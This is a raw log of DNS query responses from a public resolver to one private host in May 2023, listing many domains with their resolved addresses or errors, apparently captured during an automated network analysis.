May 31, 2023 14:52:06.354156971 CEST	8.8.8.8	192.168.2.3	0x84ec	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.381582975 CEST	8.8.8.8	192.168.2.3	0x69ca	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.386956930 CEST	8.8.8.8	192.168.2.3	0xa042	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.419104099 CEST	8.8.8.8	192.168.2.3	0x5dc	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.515873909 CEST	8.8.8.8	192.168.2.3	0xbd77	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.521723032 CEST	8.8.8.8	192.168.2.3	0xfc97	No error (0)	tbvlugus.nl		174.129.25.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.534745932 CEST	8.8.8.8	192.168.2.3	0xbd95	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.584625006 CEST	8.8.8.8	192.168.2.3	0xf0ac	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.613606930 CEST	8.8.8.8	192.168.2.3	0xe4e9	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.645009041 CEST	8.8.8.8	192.168.2.3	0xf433	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.654041052 CEST	8.8.8.8	192.168.2.3	0x8db1	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.678072929 CEST	8.8.8.8	192.168.2.3	0x9026	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.698652029 CEST	8.8.8.8	192.168.2.3	0xae8	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.709002018 CEST	8.8.8.8	192.168.2.3	0x11e2	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.739562988 CEST	8.8.8.8	192.168.2.3	0x4364	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.739957094 CEST	8.8.8.8	192.168.2.3	0x32fc	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.770445108 CEST	8.8.8.8	192.168.2.3	0x27f4	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.770591974 CEST	8.8.8.8	192.168.2.3	0x27f4	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.782320023 CEST	8.8.8.8	192.168.2.3	0xf2bf	No error (0)	dspears.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:06.782320023 CEST	8.8.8.8	192.168.2.3	0xf2bf	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:06.782320023 CEST	8.8.8.8	192.168.2.3	0xf2bf	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.782320023 CEST	8.8.8.8	192.168.2.3	0xf2bf	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.818105936 CEST	8.8.8.8	192.168.2.3	0x53af	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.841356039 CEST	8.8.8.8	192.168.2.3	0x15f6	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.873128891 CEST	8.8.8.8	192.168.2.3	0x5f64	Name error (3)	ktenergo.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.908442974 CEST	8.8.8.8	192.168.2.3	0x9c8d	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.946516991 CEST	8.8.8.8	192.168.2.3	0x7fc8	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.946516991 CEST	8.8.8.8	192.168.2.3	0x7fc8	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.971308947 CEST	8.8.8.8	192.168.2.3	0x4b77	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.979110003 CEST	8.8.8.8	192.168.2.3	0x3fc8	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.979110003 CEST	8.8.8.8	192.168.2.3	0x3fc8	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:06.986136913 CEST	8.8.8.8	192.168.2.3	0xbca9	No error (0)	mikihan.com		153.126.211.112	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.033263922 CEST	8.8.8.8	192.168.2.3	0x2a5d	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.134902954 CEST	8.8.8.8	192.168.2.3	0xe1a2	No error (0)	gujarat.com		104.21.73.143	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.134902954 CEST	8.8.8.8	192.168.2.3	0xe1a2	No error (0)	gujarat.com		172.67.145.148	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.220756054 CEST	8.8.8.8	192.168.2.3	0x7ab3	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.257822990 CEST	8.8.8.8	192.168.2.3	0x8a91	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.292162895 CEST	8.8.8.8	192.168.2.3	0xc673	No error (0)	dzm.cz		83.167.255.150	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.312448978 CEST	8.8.8.8	192.168.2.3	0x3857	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.371732950 CEST	8.8.8.8	192.168.2.3	0x9c55	No error (0)	bigzz.by		178.249.70.75	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.379807949 CEST	8.8.8.8	192.168.2.3	0x6698	Name error (3)	www.koz1.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.416137934 CEST	8.8.8.8	192.168.2.3	0x8736	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.418056011 CEST	8.8.8.8	192.168.2.3	0xea65	Server failure (2)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.436917067 CEST	8.8.8.8	192.168.2.3	0x44dd	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.478952885 CEST	8.8.8.8	192.168.2.3	0x506	No error (0)	kewlmail.com		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.479532957 CEST	8.8.8.8	192.168.2.3	0x673e	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.518336058 CEST	8.8.8.8	192.168.2.3	0x300d	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.518606901 CEST	8.8.8.8	192.168.2.3	0xc30c	No error (0)	www.medius.si	d2r2uj0bnofxxz.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:07.518606901 CEST	8.8.8.8	192.168.2.3	0xc30c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.518606901 CEST	8.8.8.8	192.168.2.3	0xc30c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.518606901 CEST	8.8.8.8	192.168.2.3	0xc30c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.20	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.518606901 CEST	8.8.8.8	192.168.2.3	0xc30c	No error (0)	d2r2uj0bnofxxz.cloudfront.net		99.84.88.4	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.544250965 CEST	8.8.8.8	192.168.2.3	0xbe03	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.547324896 CEST	8.8.8.8	192.168.2.3	0x8083	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.547324896 CEST	8.8.8.8	192.168.2.3	0x8083	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.614661932 CEST	8.8.8.8	192.168.2.3	0x5a55	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.628469944 CEST	8.8.8.8	192.168.2.3	0xe4e9	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.651179075 CEST	8.8.8.8	192.168.2.3	0x432	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.651571035 CEST	8.8.8.8	192.168.2.3	0xcb15	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.671689034 CEST	8.8.8.8	192.168.2.3	0x5118	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.671689034 CEST	8.8.8.8	192.168.2.3	0x5118	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.685348988 CEST	8.8.8.8	192.168.2.3	0x2e87	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.708995104 CEST	8.8.8.8	192.168.2.3	0xc552	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.717737913 CEST	8.8.8.8	192.168.2.3	0x476d	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.718468904 CEST	8.8.8.8	192.168.2.3	0xe81	No error (0)	nrsi.com		76.223.35.103	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.824194908 CEST	8.8.8.8	192.168.2.3	0xb071	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.825994968 CEST	8.8.8.8	192.168.2.3	0xecdf	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.825994968 CEST	8.8.8.8	192.168.2.3	0xecdf	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.844332933 CEST	8.8.8.8	192.168.2.3	0xf3d6	No error (0)	www.ka-mo-me.com		211.1.226.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.901217937 CEST	8.8.8.8	192.168.2.3	0xb13c	No error (0)	shztm.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.918334961 CEST	8.8.8.8	192.168.2.3	0xd135	No error (0)	araax.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:07.918334961 CEST	8.8.8.8	192.168.2.3	0xd135	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:07.918334961 CEST	8.8.8.8	192.168.2.3	0xd135	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.918334961 CEST	8.8.8.8	192.168.2.3	0xd135	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:07.955493927 CEST	8.8.8.8	192.168.2.3	0x4412	No error (0)	mjrcpas.com		47.91.170.222	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.157495022 CEST	8.8.8.8	192.168.2.3	0xd45a	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.157495022 CEST	8.8.8.8	192.168.2.3	0xd45a	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.217768908 CEST	8.8.8.8	192.168.2.3	0x2a81	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.267275095 CEST	8.8.8.8	192.168.2.3	0x8f1b	No error (0)	infotech.pl		79.96.32.254	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.304811001 CEST	8.8.8.8	192.168.2.3	0xaa2	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.327497005 CEST	8.8.8.8	192.168.2.3	0xbaac	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.329097033 CEST	8.8.8.8	192.168.2.3	0x480c	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.400305986 CEST	8.8.8.8	192.168.2.3	0xa042	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.408354044 CEST	8.8.8.8	192.168.2.3	0x379b	No error (0)	karila.fr		89.107.169.125	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.449107885 CEST	8.8.8.8	192.168.2.3	0x5028	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.475498915 CEST	8.8.8.8	192.168.2.3	0x6c93	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.522528887 CEST	8.8.8.8	192.168.2.3	0xdd49	No error (0)	rkengg.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:08.522528887 CEST	8.8.8.8	192.168.2.3	0xdd49	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:08.522528887 CEST	8.8.8.8	192.168.2.3	0xdd49	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.522528887 CEST	8.8.8.8	192.168.2.3	0xdd49	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.531148911 CEST	8.8.8.8	192.168.2.3	0x7d9b	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.577100039 CEST	8.8.8.8	192.168.2.3	0x65b4	No error (0)	peminet.net		198.54.117.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.581317902 CEST	8.8.8.8	192.168.2.3	0x3399	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.604180098 CEST	8.8.8.8	192.168.2.3	0xffab	No error (0)	hes.pt		52.19.230.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.609952927 CEST	8.8.8.8	192.168.2.3	0x82b9	Name error (3)	polprime.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.656025887 CEST	8.8.8.8	192.168.2.3	0xc536	No error (0)	wnit.org		38.111.255.201	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.663242102 CEST	8.8.8.8	192.168.2.3	0xe4c4	No error (0)	xsui.com		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.674403906 CEST	8.8.8.8	192.168.2.3	0x432	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.717253923 CEST	8.8.8.8	192.168.2.3	0x4bb1	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.738720894 CEST	8.8.8.8	192.168.2.3	0xcc63	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.760601044 CEST	8.8.8.8	192.168.2.3	0xdb7e	No error (0)	www.com-sit.com		104.26.11.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.760601044 CEST	8.8.8.8	192.168.2.3	0xdb7e	No error (0)	www.com-sit.com		172.67.70.223	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.760601044 CEST	8.8.8.8	192.168.2.3	0xdb7e	No error (0)	www.com-sit.com		104.26.10.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.765855074 CEST	8.8.8.8	192.168.2.3	0xee1a	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.801388025 CEST	8.8.8.8	192.168.2.3	0xd9e5	No error (0)	univi.it		18.197.121.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.829787016 CEST	8.8.8.8	192.168.2.3	0xcb15	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.843660116 CEST	8.8.8.8	192.168.2.3	0x1de2	No error (0)	revoldia.net		154.210.36.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.875107050 CEST	8.8.8.8	192.168.2.3	0x2782	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.893290997 CEST	8.8.8.8	192.168.2.3	0xb352	No error (0)	assideum.com		52.219.177.208	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.998696089 CEST	8.8.8.8	192.168.2.3	0x8a1d	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.998696089 CEST	8.8.8.8	192.168.2.3	0x8a1d	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.998696089 CEST	8.8.8.8	192.168.2.3	0x8a1d	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:08.998696089 CEST	8.8.8.8	192.168.2.3	0x8a1d	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.109584093 CEST	8.8.8.8	192.168.2.3	0xa444	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.129686117 CEST	8.8.8.8	192.168.2.3	0x1d02	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.129803896 CEST	8.8.8.8	192.168.2.3	0x6362	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.135113955 CEST	8.8.8.8	192.168.2.3	0x7caf	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.135113955 CEST	8.8.8.8	192.168.2.3	0x7caf	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.138755083 CEST	8.8.8.8	192.168.2.3	0xc9ee	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.138755083 CEST	8.8.8.8	192.168.2.3	0xc9ee	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.239295006 CEST	8.8.8.8	192.168.2.3	0xdf0c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.305849075 CEST	8.8.8.8	192.168.2.3	0x3cd5	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.309293032 CEST	8.8.8.8	192.168.2.3	0xaa2	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.334194899 CEST	8.8.8.8	192.168.2.3	0xfedd	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.383045912 CEST	8.8.8.8	192.168.2.3	0xb203	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.398567915 CEST	8.8.8.8	192.168.2.3	0xcb7f	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.441078901 CEST	8.8.8.8	192.168.2.3	0xe87c	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.621644974 CEST	8.8.8.8	192.168.2.3	0x9342	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.667895079 CEST	8.8.8.8	192.168.2.3	0x432	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.698503017 CEST	8.8.8.8	192.168.2.3	0xb357	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.704490900 CEST	8.8.8.8	192.168.2.3	0x1717	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.722160101 CEST	8.8.8.8	192.168.2.3	0x9e70	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.731992960 CEST	8.8.8.8	192.168.2.3	0x62a6	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.731992960 CEST	8.8.8.8	192.168.2.3	0x62a6	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.731992960 CEST	8.8.8.8	192.168.2.3	0x62a6	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.731992960 CEST	8.8.8.8	192.168.2.3	0x62a6	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.761266947 CEST	8.8.8.8	192.168.2.3	0x5852	No error (0)	amele.com		85.159.66.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.789288044 CEST	8.8.8.8	192.168.2.3	0x4bc8	No error (0)	agulatex.com		133.125.38.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.789333105 CEST	8.8.8.8	192.168.2.3	0x827d	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:09.789333105 CEST	8.8.8.8	192.168.2.3	0x827d	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.799578905 CEST	8.8.8.8	192.168.2.3	0xb63b	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.820233107 CEST	8.8.8.8	192.168.2.3	0x89f5	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.877129078 CEST	8.8.8.8	192.168.2.3	0x2f4	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.906917095 CEST	8.8.8.8	192.168.2.3	0xe0d4	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:09.979398966 CEST	8.8.8.8	192.168.2.3	0x6bfb	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.057988882 CEST	8.8.8.8	192.168.2.3	0x51a9	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.149454117 CEST	8.8.8.8	192.168.2.3	0x6d02	No error (0)	rkengg.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:10.149454117 CEST	8.8.8.8	192.168.2.3	0x6d02	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:10.149454117 CEST	8.8.8.8	192.168.2.3	0x6d02	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		52.71.57.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.149454117 CEST	8.8.8.8	192.168.2.3	0x6d02	No error (0)	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		54.209.32.212	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.173727036 CEST	8.8.8.8	192.168.2.3	0x8fa	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.249788046 CEST	8.8.8.8	192.168.2.3	0xdf0c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.249867916 CEST	8.8.8.8	192.168.2.3	0x97fe	No error (0)	epc.com.au		103.4.16.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.310599089 CEST	8.8.8.8	192.168.2.3	0x46f5	Name error (3)	cvswl.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.312613010 CEST	8.8.8.8	192.168.2.3	0xc2bb	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.335391045 CEST	8.8.8.8	192.168.2.3	0x45bb	No error (0)	hes.pt		52.19.230.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.336791039 CEST	8.8.8.8	192.168.2.3	0xaa2	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.341362000 CEST	8.8.8.8	192.168.2.3	0xccd0	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.424698114 CEST	8.8.8.8	192.168.2.3	0x5591	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.424698114 CEST	8.8.8.8	192.168.2.3	0x5591	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.450439930 CEST	8.8.8.8	192.168.2.3	0xb5b6	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.450439930 CEST	8.8.8.8	192.168.2.3	0xb5b6	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.450439930 CEST	8.8.8.8	192.168.2.3	0xb5b6	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.518086910 CEST	8.8.8.8	192.168.2.3	0xc1ae	No error (0)	keio-web.com		219.94.128.216	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.565988064 CEST	8.8.8.8	192.168.2.3	0x4bbe	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.625746965 CEST	8.8.8.8	192.168.2.3	0x1ae0	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.649030924 CEST	8.8.8.8	192.168.2.3	0x3a9d	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.654933929 CEST	8.8.8.8	192.168.2.3	0xb40f	Server failure (2)	ftchat.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.681874990 CEST	8.8.8.8	192.168.2.3	0x5401	Name error (3)	haigh-me.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.695296049 CEST	8.8.8.8	192.168.2.3	0xc83e	Server failure (2)	canmore.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.712068081 CEST	8.8.8.8	192.168.2.3	0x8cc7	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.712068081 CEST	8.8.8.8	192.168.2.3	0x8cc7	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.712068081 CEST	8.8.8.8	192.168.2.3	0x8cc7	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.714235067 CEST	8.8.8.8	192.168.2.3	0x9e70	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.716053009 CEST	8.8.8.8	192.168.2.3	0x1717	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.717705011 CEST	8.8.8.8	192.168.2.3	0x46a	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
